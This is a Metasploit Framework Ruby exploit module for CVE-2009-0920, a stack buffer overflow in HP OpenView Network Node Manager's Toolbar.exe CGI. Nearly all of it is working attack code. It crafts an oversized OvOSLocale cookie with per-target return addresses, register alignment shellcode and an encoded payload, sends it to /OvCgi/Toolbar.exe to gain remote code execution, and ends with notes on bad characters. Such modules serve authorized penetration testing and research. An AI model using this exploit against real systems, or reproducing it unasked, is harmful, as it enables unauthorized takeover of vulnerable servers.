##
# $Id: hp_nnm_toolbar_02.rb 13194 2011-07-16 05:21:20Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0
    and 7.53.  By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an
    attacker may be able to execute arbitrary code.  Please note that this module only works
    against a specific build (ie. NNM 7.53_01195)
   },
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13194 $',
   'Author'         =>
    [
     'Oren Isacson', # original discovery
     'juan vazquez', # metasploit module (7.0 target)
     'sinn3r',       # 7.53_01195 target
    ],
   'References'     =>
    [
     [ 'CVE', '2009-0920' ],
     [ 'OSVDB', '53242' ],
     [ 'BID', '34294' ],
     [ 'URL', 'http://www.coresecurity.com/content/openview-buffer-overflows']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'          => 4000,
     'BadChars'       => "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f\x3b\x2b",
     'DisableNops'    => true, # no need
     'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions' =>
     {
      'BufferRegister' => 'EDX'
     }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      #Windows XP SP3
      'HP OpenView Network Node Manager Release B.07.00',
      {
       'Ret' => 0x5A212147, # ovsnmp.dll call esp
       'Offset' => 0xFC,  # until EIP
       # Pointer to string with length < 0x100
       # Avoid crash before vulnerable function returns
       # And should work as a "NOP" since it will prepend shellcode
       #'ReadAddress' => 0x5A03A225,# ov.dll
       'ReadAddress' => 0x5A03A225,# ov.dll
       'EDXAdjust' => 0x17,
       # 0x8 => offset until "0x90" nops
       # 0x4 => "0x90" nops
       # 0x2 => len(push esp, pop edx)
       # 0x3 => len(sub)
       # 0x6 => len(add)
      }
     ],
     [
      #Windows Server 2003
      'HP OpenView Network Node Manager 7.53 Patch 01195',
      {
       'Eax'       => 0x5a456eac,   #Readable address for CMP BYTE PTR DS:[EAX],0
       'EaxOffset' => 251,          #Offset to overwrite EAX
       'Ret'       => 0x5A23377C,   #CALL EDI
       'Max'       => 8000,         #Max buffer size
      }
     ]
    ],
   'DisclosureDate' => 'Jan 21 2009'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  if target.name =~ /7\.53/

   #EDX alignment for alphanumeric shellcode
   #payload is in EDI first.  We exchange it with EDX, align EDX, and then
   #jump to it.
   align  = "\x87\xfa"      #xchg edi,edx
   align << "\x80\xc2\x27"  #add dl,0x27
   align << "\xff\xe2"      #jmp edx

   #Add the alignment code to payload
   p = align + payload.encoded

   sploit  = 'en_US'
   sploit << rand_text_alphanumeric(247)
   sploit << [target.ret].pack('V*')
   sploit << rand_text_alphanumeric(target['EaxOffset']-sploit.length+'en_US'.length)
   sploit << [target['Eax']].pack('V*')
   sploit << rand_text_alphanumeric(3200)
   sploit << make_nops(100 - align.length)
   sploit << align
   sploit << p
   sploit << rand_text_alphanumeric(target['Max']-sploit.length)

  elsif target.name =~ /B\.07\.00/

   edx = Rex::Arch::X86::EDX

   sploit = "en_US"
   sploit << rand_text_alphanumeric(target['Offset'] - "en_US".length, payload_badchars)
   sploit << [target.ret].pack('V')
   sploit << [target['ReadAddress']].pack('V')
   sploit << "\x90\x90\x90\x90"
   # Get in EDX a pointer to the shellcode start
   sploit << "\x54" # push esp
   sploit << "\x5A" # pop edx
   sploit << Rex::Arch::X86.sub(-(target['EDXAdjust']), edx, payload_badchars, false, true)
   sploit << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
   sploit << payload.encoded

  end

  #Send the malicious request to /OvCgi/ToolBar.exe
  #If the buffer contains a badchar, NNM 7.53 will return a "400 Bad Request".
  #If the exploit causes ToolBar.exe to crash, NNM returns "error in CGI Application"
  send_request_raw({
   'uri'     => "/OvCgi/Toolbar.exe",
   'method'  => "GET",
   'cookie'  => "OvOSLocale=" + sploit + "; OvAcceptLang=en-usa",
  }, 20)

  handler
  disconnect
 end

end

=begin
NNM B.07.00's badchar set:
00 0D 0A 20 3B 3D 2C 2B

NNM 7.53_01195's badchar set:
01 02 03 04 05 06 07 08 0a 0b 0c 0d 0e 0f 10 11    ................
12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 7f       ...............
3b = delimiter
2b = gets converted to 0x2b
=end